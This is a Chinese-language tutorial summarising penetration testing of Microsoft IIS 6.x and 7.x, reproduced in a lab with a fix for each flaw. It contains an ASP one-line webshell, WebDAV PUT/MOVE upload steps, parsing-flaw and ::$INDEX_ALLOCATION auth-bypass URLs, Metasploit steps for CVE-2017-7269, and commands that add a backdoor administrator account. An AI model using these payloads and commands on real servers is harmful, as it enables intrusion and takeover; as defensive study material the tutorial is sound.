简介
IIS(inernet information services)互联网信息服务是 Microsoft 公司提供的可扩展 web 服务器,支持 HTTP、HTTP/2、HTTPS、FTP、FTPS、SMTP 和 NNTP 等。起初用于windows NT系列,随后内置在windows 2000、windows XP 和后续版本一起发行。IIS目前只支持 windows 系统,不适用于其它操作系统
IIS 6.x 渗透总结
IIS 6.x 安装
IIS6.x安装需要 Windows Server 2003的系统
IIS 6.0安装需要插件,自行百度下载
然后下一步即可安装完成
创建网站,并用物理机访问
以下为 IIS 6.x 攻防详解
IIS写权限漏洞
开启webDAV引起的IIS写权限漏洞(攻击者可以上传文件)
PUT任意上传漏洞
改为允许,并开启脚本资源访问和写入
使用工具已经可以检测出漏洞
修改来宾用户权限
此时创建一个文本文档,输入一句话木马
<%eval request("123")%>
使用工具put方式进行上传
可以看到这里成功通过 PUT 的方法上传了一个含有 asp 一句话的txt文件。之所以不直接上传一个asp一句话木马是因为通常情况下上传txt文本不会出错,但是上传asp就会报错
为了获取shell,这里可以用MOVE方法将刚刚上传的txt文件修改为asp文件,从而将文本文件变成可执行的脚本文件。MOVE协议不会更改文件内容
开启IIS的asp解析功能
使用蚁剑尝试连接
修复建议:
IIS PUT 漏洞完全是因为管理员的一些不当配置导致的,所以修复只需要以下两点:
关闭WebDAV
关闭写入权限
文件解析漏洞
IIS文件解析漏洞:*.asp;.xxx像这样畸形(IIS 10.0 8.5 都可能存在,属于PHP版本解析漏洞)的文件
IIS只会把他当作xxx.asp文件执行不会看分号之后的内容
IIS目录解析漏洞:以 *.asp 命名的文件夹中的文件都会被当作 asp 文件执行
IIS文件解析漏洞
首先创建一个 Ylion.asp 文件
<%=time()%>
复制该文件进行重命名并访问
IIS 目录解析漏洞
该版本默认会将 *.asp/ 目录下的所有文件当成 Asp 解析
新建两个空的文件夹
分别复制 1.jpg 1.zip 放入,内容和上面的asp文件内容一致,分别进行访问
访问文件夹1下的,依旧是一张图片
访问文件夹1.asp下的,成功被解析
这就是IIS的文件解析漏洞
另外,IIS6.x除了会将扩展名为 .asp 的文件解析为asp之外,默认会将扩展名为 .asa、.cdx、.cer解析为 asp,从网站属性,主目录,配置 可以看出,他们都是调用了 asp.dll 进行的解析:
修复建议:
微软认为这个并不算是一个漏洞,也没有推出 IIS6.0 的补丁,因此漏洞需要自己修复
设置权限无
不允许新建目录
上传的文件需要经过重命名(时间戳+随机数+ .jpg 等)
IIS 短文件漏洞
攻击者可以利用 " ~ " 字符猜解或遍历服务器中的文件名,或对IIS服务器中的 .Net Framework 进行 拒绝服务攻击
就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件
简介
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS或16位windows的程序访问这些文件。在cmd下输入 "dir /x" 即可看到短文件名效果
IIS短文件名产生:
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位
当后缀大于等于4时,文件名前缀字符长度即使位1,也会产生短文件名
目前 IIS 支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。
IIS 8.0 之后的版本只能通过OPTIONS和TRACE方法被猜测成功
复现
IIS8.0 以下版本需要开启ASP.NET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功
实操一下:
还是找到添加与删除程序,点击添加程序
找到ASP.NET,点击下一步并安装
在web服务扩展里面,右键刷新
随便创建个后缀长度为4的文件:
远程访问一下:
远程访问返回404
访问构造某个不存在的短文件名时,会返回400:
EXP:(利用工具)
https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner
工具使用:
安装JAVA7
点击run.bat 输入地址:
输入对应IP,选择no
然后一路回车,就爆破出来了
修复建议:
从CMD命令关闭NTFS 8.3 文件格式的支持
windows server 2003:(1代表关闭,0代表开启)
关闭该功能:
fsutil behavior set disable8dot3 1
windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
不同系统关闭命令稍有区别,该功能是默认开启的
或从修改注册表关闭NTFS 8.3文件格式的支持
快捷键Win+R打开命令窗口,输入regedit打开注册表窗口
找到路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
将其中选中的那一项的值设为1,1代表不创建短文件名格式
注意:
以上两种方式修改完成后,均需要重启系统生效。
此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失
IIS短文件漏洞局限性:
如果文件名本身太短也是无法猜解的;
此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
如果文件名前6位带点 "." ,扫描程序会认为是文件而不是文件夹,最终出现误报;
不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测
实战用处:
猜后台
猜敏感文件,例如备份的rar、zip、.bak、.SQL文件等
在某种情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件
RCE-CVE-2017-7269
简介
Mcrosoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的 WebDAV 服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 "If : <http://" 开头的长标执行任意代码 PROPFIND 请求
影响范围:
Windows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现
EXP:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
对ip及对应端口进行修改:
任务管理器开启了 calc.exe 进程,因为计算机是网络服务权限打开的,所以我们在桌面上看不见
需要python2环境
漏洞修复:
关闭 WebDAV 服务
使用相关防护设备
远程代码执行实战运用
前提条件:
IIS 6.0 开启 WebDAV
确保开启WebDAV
exp下载地址:
https://github.com/zcgonvh/cve-2017-7269
下载后放入msf中,路径为 /url/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-修改为_,否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)
放入后直接执行:
use exploit/windows/iis/cve_2017-7269
set rhosts 192.168.27.182
失败了,检查原因:
默认网站->属性,在IP地址中未分配,可以解释为非默认绑定。该EXP只适用于默认绑定和默认路径的情况才可以提权
设置完重启系统
批量检测工具:
https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
python IIS6_WebDAV_Scanner.py -p 12.txt
python2环境执行,检测出长度为19
然后在msf上设置PhysicalPathLength为19
set PhysicalPathLength 19
成功拿到低权用户,然后使用pr提权,利用msf上传pr.exe
upload '/root/Desktop/pr.exe' c:\Windows\system32\inetsrv
然后进行创建用户
pr.exe "net user a002 963852 /add"
添加到管理员组
pr.exe "net localgroup administrators a002 /add
IIS 7.x 渗透总结
IIS 7.x 安装
以安装IIS 7.5 为例:
首先找到打开或关闭Windows功能界面
然后选择下列功能点
点击确定
以下为 IIS 7.x 攻防详解
解析漏洞
新建png文件,其中写有php语句,直接访问,发现不可以
点击确定,访问路径后面加上 /.php 尝试
成功解析为php文件
IIS 7.x 版本在 Fast-CGI 运行模式下,在任意文件,例:Ylion.png 加上 /.php ,会将 Ylion.png.php 解析为php文件
WebDAV在IIS7.5的这里
修复建议:配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
HTTP.SYS远程代码执行(MS15-034)
IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程代码漏洞威胁将会非常严重。远程执行代码漏洞存在于HTTP协议堆栈中,当HTTP.sys未正确分析经特殊设计的HTTP请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统账户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据。
影响范围:
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2
漏洞影响版本:
IIS 7.5、IIS 8.0、IIS 8.5
复现:
在Windows7 上安装 IIS 7.5
访问 IIS 7.5
编辑请求头: Range: bytes=0-18446744073709551615
增加字段,若返回码状态为416 Requested Range Not Satisfiable,则存在 HTTP.SYS远程代码执行漏洞
修复建议:
安装修复补丁(KB3042553)
认证绕过漏洞
简介:
Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
漏洞影响版本:
IIS6.0、IIS7.5
漏洞原因:
Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。
主要包括以下三类绕过
安装了PHP的Microsof IIS6.0身份验证绕过
IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“∷$INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露:
/admin::$INDEX_ALLOCATION/index.php
Microsof IIS7.5经典ASP身份验证绕过
配置了经典ASP和 .NET Framework 4.0的Microsof IIS7.5,通过将:i30:I NDEX_ALLOCATION后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制
/admin:$i30:$INDEX_ALLOCATION/index.asp
Microsof IIS7.5 .NET源代码公开和身份验证绕过
在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞;
http://%3CvictimIIS75%3E/admin:$i30:$INDEX_ALLOCATION/admin.php
漏洞复现:
在window7下,默认IIS7.5
IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问 /admin/index.php 目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面
重启IIS服务器,远程访问此文件,提示401未授权
利用
/admin:$i30:$INDEX_ALLOCATION/index.asp
来绕过此限制,浏览器访问:
http://192.168.253.72:8980/admin:$i30:$INDEX_ALLOCATION/index.php
可以成功绕过并访问到敏感信息
解析漏洞+认证绕过漏洞
目标站点限制上传和访问php文件
可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行
网站目录下有一个 index.aspx的文件,里面写有php代码
认证漏洞绕过访问 index.aspx文件,页面返回乱码,未执行 phpinfo代码!
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx
这里我们再加上解析漏洞
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php
成功执行
利用方法:
安装php的IIS6.0,例:访问目标/admin/index.php 显示401,访问
/admin:$i30:$INDEX_ALLOCATION/index.php
即可
IIS 7.5 :同上
可以绕过并访问到敏感信息
防护思路:
IIS7.5 配置 .NET Framework 2.0 不受上述第二条绕过影响
攻击者需要事先获取IIS服务器受认证保护目录